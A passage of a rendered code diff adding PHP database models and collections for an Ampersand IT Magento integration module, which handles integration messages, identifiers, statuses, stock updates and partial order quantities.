+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Message_Collection
|
19 |
+
extends Ampersand_Core_Model_Mysql4_Collection_Abstract
|
20 |
+
{
|
21 |
+
protected $_isIdentifierCountAdded = false;
|
22 |
+
protected $_isSuccessfulIdentifierCountAdded = false;
|
23 |
+
protected $_isErrorCountAdded = false;
|
24 |
+
|
25 |
+
protected function _construct()
|
26 |
+
{
|
27 |
+
$this->_init('ampersand_integration/message');
|
28 |
+
}
|
29 |
+
|
30 |
+
public function joinService($cols = '*')
|
31 |
+
{
|
32 |
+
$this->joinLeft(
|
33 |
+
'ampersand_integration/service',
|
34 |
+
'`ampersand_integration/service`.entity_id = `main_table`.service_id',
|
35 |
+
$cols
|
36 |
+
);
|
37 |
+
|
38 |
+
return $this;
|
39 |
+
}
|
40 |
+
|
41 |
+
public function addIdentifierCount()
|
42 |
+
{
|
43 |
+
if (!$this->_isIdentifierCountAdded) {
|
44 |
+
$select = $this->getConnection()->select()
|
45 |
+
->from(array(
|
46 |
+
'identifier' => $this->getTable('ampersand_integration/message_identifier')
|
47 |
+
), null)
|
48 |
+
->columns('COUNT(*)')
|
49 |
+
->where('`identifier`.message_id = `main_table`.entity_id')
|
50 |
+
->where('`identifier`.include_in_count = 1');
|
51 |
+
|
52 |
+
$this->getSelect()
|
53 |
+
->columns(array(
|
54 |
+
'nr_of_identifiers' => new Zend_Db_Expr("($select)"),
|
55 |
+
));
|
56 |
+
|
57 |
+
$this->_isIdentifierCountAdded = true;
|
58 |
+
}
|
59 |
+
|
60 |
+
return $this;
|
61 |
+
}
|
62 |
+
|
63 |
+
public function addSuccessfulIdentifierCount()
|
64 |
+
{
|
65 |
+
if (!$this->_isSuccessfulIdentifierCountAdded) {
|
66 |
+
$select = $this->getConnection()->select()
|
67 |
+
->from(array(
|
68 |
+
'identifier' => $this->getTable('ampersand_integration/message_identifier')
|
69 |
+
), null)
|
70 |
+
->columns('COUNT(*)')
|
71 |
+
->where('`identifier`.message_id = `main_table`.entity_id')
|
72 |
+
->where('`identifier`.include_in_count = 1')
|
73 |
+
->where(
|
74 |
+
'`identifier`.state = ?',
|
75 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_SUCCESS
|
76 |
+
);
|
77 |
+
|
78 |
+
$this->getSelect()
|
79 |
+
->columns(array(
|
80 |
+
'nr_of_successful_identifiers' => new Zend_Db_Expr("($select)"),
|
81 |
+
));
|
82 |
+
|
83 |
+
$this->_isSuccessfulIdentifierCountAdded = true;
|
84 |
+
}
|
85 |
+
|
86 |
+
return $this;
|
87 |
+
}
|
88 |
+
|
89 |
+
public function addErrorCount()
|
90 |
+
{
|
91 |
+
if (!$this->_isErrorCountAdded) {
|
92 |
+
$select = $this->getConnection()->select()
|
93 |
+
->from(array(
|
94 |
+
'flag' => $this->getTable('ampersand_integration/flag')
|
95 |
+
), null)
|
96 |
+
->columns('COUNT(*)')
|
97 |
+
->where('`flag`.message_id = `main_table`.entity_id')
|
98 |
+
->where('`flag`.type IN (?)', Ampersand_Integration_Flag::getErrorTypes());
|
99 |
+
|
100 |
+
$this->getSelect()
|
101 |
+
->columns(array(
|
102 |
+
'nr_of_errors' => new Zend_Db_Expr("($select)"),
|
103 |
+
));
|
104 |
+
|
105 |
+
$this->_isErrorCountAdded = true;
|
106 |
+
}
|
107 |
+
|
108 |
+
return $this;
|
109 |
+
}
|
110 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Message/Identifier.php
ADDED
@@ -0,0 +1,117 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Message_Identifier
|
19 |
+
extends Ampersand_Integration_Model_Mysql4_Abstract
|
20 |
+
{
|
21 |
+
protected function _construct()
|
22 |
+
{
|
23 |
+
$this->_init('ampersand_integration/message_identifier', 'entity_id');
|
24 |
+
}
|
25 |
+
|
26 |
+
public function doesIdentifierExist($name, $value, $serviceCode = null, $messageNames = null)
|
27 |
+
{
|
28 |
+
$select = $this->getReadConnection()->select()
|
29 |
+
->from(array('main_table' => $this->getMainTable()))
|
30 |
+
->where('`main_table`.name = ?', $name)
|
31 |
+
->where('`main_table`.value = ?', $value)
|
32 |
+
->limit(1); // limit = 1 instead of count(*) to save mysql looking through entire table
|
33 |
+
|
34 |
+
if ($serviceCode) {
|
35 |
+
$select->join(array(
|
36 |
+
'message' => $this->getTable('ampersand_integration/message')
|
37 |
+
), '`message`.entity_id = `main_table`.message_id', array());
|
38 |
+
|
39 |
+
if (preg_match('/^\d+$/', $serviceCode)) {
|
40 |
+
$select->where('`message`.service_id = ?', $serviceCode);
|
41 |
+
} else {
|
42 |
+
$select->join(array(
|
43 |
+
'service' => $this->getTable('ampersand_integration/service_info')
|
44 |
+
), '`service`.entity_id = `message`.service_id', array())
|
45 |
+
->where('`service`.code = ?', $serviceCode);
|
46 |
+
}
|
47 |
+
|
48 |
+
if ($messageNames) {
|
49 |
+
if (!is_array($messageNames)) {
|
50 |
+
$messageNames = array($messageNames);
|
51 |
+
}
|
52 |
+
|
53 |
+
$select->where('`message`.name in (?)', $messageNames);
|
54 |
+
}
|
55 |
+
}
|
56 |
+
|
57 |
+
return 0 < count($this->getReadConnection()->fetchAll($select));
|
58 |
+
}
|
59 |
+
|
60 |
+
public function getUnsuccessfulIdentifierValuesSelect($serviceId, $messageNames,
|
61 |
+
$attemptIdentifierName, $successIdentifierName, $onlyMessagesWithFlags = false,
|
62 |
+
$oneSuccessIsEnough = false
|
63 |
+
) {
|
64 |
+
if (!is_array($messageNames)) {
|
65 |
+
$messageNames = array($messageNames);
|
66 |
+
}
|
67 |
+
|
68 |
+
$successJoinCondition = 'attempt.message_id = success.message_id and success.name = ?';
|
69 |
+
$successJoinCondition = $this->getReadConnection()->quoteInto(
|
70 |
+
$successJoinCondition, $successIdentifierName
|
71 |
+
);
|
72 |
+
|
73 |
+
$select = $this->getReadConnection()->select()
|
74 |
+
->from(
|
75 |
+
array('attempt' => $this->getMainTable()),
|
76 |
+
array('value', 'last_attempt' => new Zend_Db_Expr('max(attempt.message_id)'))
|
77 |
+
)
|
78 |
+
->joinLeft(
|
79 |
+
array('success' => $this->getMainTable()), $successJoinCondition,
|
80 |
+
array('last_success' => new Zend_Db_Expr('max(success.message_id)'))
|
81 |
+
)
|
82 |
+
->join(
|
83 |
+
array('message' => $this->getTable('ampersand_integration/message')),
|
84 |
+
'message.entity_id = attempt.message_id', array()
|
85 |
+
)
|
86 |
+
->where('attempt.name = ?', $attemptIdentifierName)
|
87 |
+
->where('message.name in (?)', $messageNames)
|
88 |
+
->group(array('attempt.name', 'attempt.value'))
|
89 |
+
->having('last_success is null');
|
90 |
+
|
91 |
+
if (!$oneSuccessIsEnough) {
|
92 |
+
$select->orHaving('last_attempt > last_success');
|
93 |
+
}
|
94 |
+
|
95 |
+
if (false&&$onlyMessagesWithFlags) {
|
96 |
+
$select->join(
|
97 |
+
array('flag' => $this->getTable('ampersand_integration/flag')),
|
98 |
+
'flag.message_id = message.entity_id',
|
99 |
+
array()
|
100 |
+
);
|
101 |
+
}
|
102 |
+
|
103 |
+
return $select;
|
104 |
+
}
|
105 |
+
|
106 |
+
public function getUnsuccessfulIdentifierValues($serviceId, $messageNames,
|
107 |
+
$attemptIdentifierName, $successIdentifierName, $onlyMessagesWithFlags = false,
|
108 |
+
$oneSuccessIsEnough = false
|
109 |
+
) {
|
110 |
+
$select = $this->getUnsuccessfulIdentifierValuesSelect(
|
111 |
+
$serviceId, $messageNames, $attemptIdentifierName, $successIdentifierName,
|
112 |
+
$onlyMessagesWithFlags, $oneSuccessIsEnough
|
113 |
+
);
|
114 |
+
|
115 |
+
return $this->getReadConnection()->fetchCol($select);
|
116 |
+
}
|
117 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Message/Identifier/Collection.php
ADDED
@@ -0,0 +1,77 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Message_Identifier_Collection
|
19 |
+
extends Ampersand_Core_Model_Mysql4_Collection_Abstract
|
20 |
+
{
|
21 |
+
protected $_isMessageTableJoined = false;
|
22 |
+
protected $_messageTableAlias = 'ampersand_integration/message';
|
23 |
+
|
24 |
+
protected function _construct()
|
25 |
+
{
|
26 |
+
$this->_init('ampersand_integration/message_identifier');
|
27 |
+
}
|
28 |
+
|
29 |
+
public function joinMessage($columns = null)
|
30 |
+
{
|
31 |
+
if (!$this->_isMessageTableJoined) {
|
32 |
+
if (is_null($columns)) {
|
33 |
+
$columns = array(
|
34 |
+
'created_at' => 'created_at',
|
35 |
+
'service_id' => 'service_id',
|
36 |
+
'message_name' => 'name',
|
37 |
+
'message_direction' => 'direction',
|
38 |
+
);
|
39 |
+
}
|
40 |
+
|
41 |
+
$this->join(
|
42 |
+
$this->_messageTableAlias,
|
43 |
+
"`{$this->_messageTableAlias}`.entity_id = `main_table`.message_id",
|
44 |
+
$columns
|
45 |
+
);
|
46 |
+
|
47 |
+
$this->_isMessageTableJoined = true;
|
48 |
+
}
|
49 |
+
|
50 |
+
return $this;
|
51 |
+
}
|
52 |
+
|
53 |
+
public function getSelectCountSql()
|
54 |
+
{
|
55 |
+
$countSelect = parent::getSelectCountSql();
|
56 |
+
/* @var $countSelect Zend_Db_Select */
|
57 |
+
|
58 |
+
$from = $countSelect->getPart(Zend_Db_Select::FROM);
|
59 |
+
if ($this->_isMessageTableJoined && 2 == count($from)) {
|
60 |
+
$where = $countSelect->getPart(Zend_Db_Select::WHERE);
|
61 |
+
foreach ($where as $_condition) {
|
62 |
+
if (false !== strpos($_condition, $this->_messageTableAlias)) {
|
63 |
+
return $countSelect;
|
64 |
+
}
|
65 |
+
}
|
66 |
+
|
67 |
+
$having = $countSelect->getPart(Zend_Db_Select::HAVING);
|
68 |
+
foreach ($having as $_condition) {
|
69 |
+
if (false !== strpos($_condition, $this->_messageTableAlias)) {
|
70 |
+
return $countSelect;
|
71 |
+
}
|
72 |
+
}
|
73 |
+
}
|
74 |
+
|
75 |
+
return $countSelect;
|
76 |
+
}
|
77 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Service/Info.php
ADDED
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Service_Info
|
19 |
+
extends Ampersand_Integration_Model_Mysql4_Abstract
|
20 |
+
{
|
21 |
+
protected function _construct()
|
22 |
+
{
|
23 |
+
$this->_init('ampersand_integration/service_info', 'entity_id');
|
24 |
+
}
|
25 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Service/Info/Collection.php
ADDED
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Service_Info_Collection
|
19 |
+
extends Ampersand_Core_Model_Mysql4_Collection_Abstract
|
20 |
+
{
|
21 |
+
protected function _construct()
|
22 |
+
{
|
23 |
+
$this->_init('ampersand_integration/service_info');
|
24 |
+
}
|
25 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Status.php
ADDED
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Status extends Ampersand_Integration_Model_Mysql4_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/status', 'entity_id');
|
23 |
+
}
|
24 |
+
|
25 |
+
public function getIdByCode($code, $serviceId = null)
|
26 |
+
{
|
27 |
+
$select = $this->getReadConnection()->select()
|
28 |
+
->from($this->getMainTable(), array($this->getIdFieldName()))
|
29 |
+
->where('code = ?', $code)
|
30 |
+
;
|
31 |
+
|
32 |
+
if ($serviceId) {
|
33 |
+
$select->where('service_id = ?', $serviceId);
|
34 |
+
} else {
|
35 |
+
$select->where('service_id IS NULL');
|
36 |
+
}
|
37 |
+
|
38 |
+
return $this->getReadConnection()->fetchOne($select);
|
39 |
+
}
|
40 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Status/Collection.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Status_Collection extends Ampersand_Core_Model_Mysql4_Collection_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/status');
|
23 |
+
}
|
24 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/StockUpdate.php
ADDED
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_StockUpdate extends Ampersand_Integration_Model_Mysql4_Abstract
|
19 |
+
{
|
20 |
+
protected $_isPkAutoIncrement = false;
|
21 |
+
|
22 |
+
protected function _construct()
|
23 |
+
{
|
24 |
+
$this->_init('ampersand_integration/stockUpdate', 'sku');
|
25 |
+
}
|
26 |
+
|
27 |
+
protected function _beforeSave(Mage_Core_Model_Abstract $object)
|
28 |
+
{
|
29 |
+
if (!$object->getCreatedAt()) {
|
30 |
+
$object->setCreatedAt(now());
|
31 |
+
}
|
32 |
+
|
33 |
+
return $this;
|
34 |
+
}
|
35 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/StockUpdate/Collection.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_StockUpdate_Collection extends Ampersand_Core_Model_Mysql4_Collection_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/stockUpdate');
|
23 |
+
}
|
24 |
+
}
|
app/code/core/Ampersand/Integration/Model/OrderAbstract.php
ADDED
@@ -0,0 +1,223 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Model_OrderAbstract extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
public function getOrder()
|
21 |
+
{
|
22 |
+
if ($this->hasData('order_increment_id') && (!$this->hasData('order')
|
23 |
+
|| $this->getOrderIncrementId() != $this->getData('order')->getIncrementId())) {
|
24 |
+
$order = Mage::getModel('sales/order')
|
25 |
+
->loadByIncrementId($this->getOrderIncrementId());
|
26 |
+
|
27 |
+
if (!$order->getId()) {
|
28 |
+
throw new Ampersand_Integration_Exception(
|
29 |
+
"Order # '{$this->getOrderIncrementId()}' does not exist"
|
30 |
+
);
|
31 |
+
}
|
32 |
+
|
33 |
+
$this->setOrder($order);
|
34 |
+
}
|
35 |
+
|
36 |
+
return $this->getData('order');
|
37 |
+
}
|
38 |
+
|
39 |
+
/**
|
40 |
+
* @return array
|
41 |
+
* @throws Ampersand_Integration_Exception
|
42 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
43 |
+
*/
|
44 |
+
public function getQuantities()
|
45 |
+
{
|
46 |
+
if (!$this->isPartial()) {
|
47 |
+
return array();
|
48 |
+
}
|
49 |
+
|
50 |
+
if (!$this->isPartialAllowed()) {
|
51 |
+
throw new Ampersand_Integration_Exception(
|
52 |
+
'Partial shipment, invoice or creditmemo not allowed for this order.'
|
53 |
+
);
|
54 |
+
}
|
55 |
+
|
56 |
+
$quantities = $this->_initItemQuantities();
|
57 |
+
|
58 |
+
foreach ($this->getSkuQuantities() as $_sku => $_quantity) {
|
59 |
+
if (!$_item = $this->_getOrderItemBySku($this->getOrder(), $_sku)) {
|
60 |
+
throw new Ampersand_Integration_Exception(
|
61 |
+
"No product with sku '$_sku' associated with order # {$order->getIncrementId()}"
|
62 |
+
);
|
63 |
+
}
|
64 |
+
|
65 |
+
$quantities[$_item->getId()] = $_quantity;
|
66 |
+
}
|
67 |
+
|
68 |
+
return $quantities;
|
69 |
+
}
|
70 |
+
|
71 |
+
/**
|
72 |
+
* @return boolean
|
73 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
74 |
+
*/
|
75 |
+
public function isPartial()
|
76 |
+
{
|
77 |
+
if (1 > count($this->getSkuQuantities())) {
|
78 |
+
return false;
|
79 |
+
}
|
80 |
+
|
81 |
+
$orderedSimpleSkuQtys = array();
|
82 |
+
|
83 |
+
foreach ($this->getOrder()->getAllItems() as $_item) {
|
84 |
+
/* @var $_item Mage_Sales_Model_Order_Item */
|
85 |
+
|
86 |
+
if ($_item->getParentItem()) {
|
87 |
+
continue;
|
88 |
+
}
|
89 |
+
|
90 |
+
$orderedSimpleSkuQtys = $this->_addSimpleSkuQuantities($_item, $orderedSimpleSkuQtys);
|
91 |
+
}
|
92 |
+
|
93 |
+
$requestedSimpleSkuQtys = array();
|
94 |
+
|
95 |
+
foreach ($this->getSkuQuantities() as $_sku => $_quantity) {
|
96 |
+
if ($_item = $this->_getOrderItemBySku($this->getOrder(), $_sku)) {
|
97 |
+
$_quantityMultiplier = ($_quantity / $_item->getQtyOrdered());
|
98 |
+
$requestedSimpleSkuQtys = $this->_addSimpleSkuQuantities(
|
99 |
+
$_item, $requestedSimpleSkuQtys, $_quantityMultiplier
|
100 |
+
);
|
101 |
+
}
|
102 |
+
}
|
103 |
+
|
104 |
+
return ($orderedSimpleSkuQtys != $requestedSimpleSkuQtys);
|
105 |
+
}
|
106 |
+
|
107 |
+
/**
|
108 |
+
* @param Mage_Sales_Model_Order_Item $item
|
109 |
+
* @param array $allQuantities OPTIONAL
|
110 |
+
* @param int $quantityMultiplier OPTIONAL
|
111 |
+
* @return array
|
112 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
113 |
+
*/
|
114 |
+
protected function _addSimpleSkuQuantities(Mage_Sales_Model_Order_Item $item,
|
115 |
+
array $allQuantities = array(), $quantityMultiplier = 1
|
116 |
+
) {
|
117 |
+
if ($item->getChildrenItems()) {
|
118 |
+
foreach ($item->getChildrenItems() as $_child) {
|
119 |
+
/* @var $_child Mage_Sales_Model_Order_Item */
|
120 |
+
$allQuantities = $this->_addSimpleSkuQuantities(
|
121 |
+
$_child, $allQuantities, $quantityMultiplier
|
122 |
+
);
|
123 |
+
}
|
124 |
+
} else {
|
125 |
+
if (!array_key_exists($item->getSku(), $allQuantities)) {
|
126 |
+
$allQuantities[$item->getSku()] = 0;
|
127 |
+
}
|
128 |
+
|
129 |
+
$allQuantities[$item->getSku()] += round($quantityMultiplier * $item->getQtyOrdered());
|
130 |
+
}
|
131 |
+
|
132 |
+
return $allQuantities;
|
133 |
+
}
|
134 |
+
|
135 |
+
/**
|
136 |
+
* @return boolean
|
137 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
138 |
+
*/
|
139 |
+
public function isPartialAllowed()
|
140 |
+
{
|
141 |
+
$orderedSkus = array();
|
142 |
+
foreach ($this->getOrder()->getAllItems() as $_item) {
|
143 |
+
/* @var $_item Mage_Sales_Model_Order_Item */
|
144 |
+
|
145 |
+
if ($_item->getProductType() === Mage_Catalog_Model_Product_Type::TYPE_BUNDLE) {
|
146 |
+
return false;
|
147 |
+
}
|
148 |
+
|
149 |
+
if (in_array($_item->getSku(), $orderedSkus)) {
|
150 |
+
return false;
|
151 |
+
}
|
152 |
+
|
153 |
+
$orderedSkus[] = $_item->getSku();
|
154 |
+
}
|
155 |
+
|
156 |
+
return true;
|
157 |
+
}
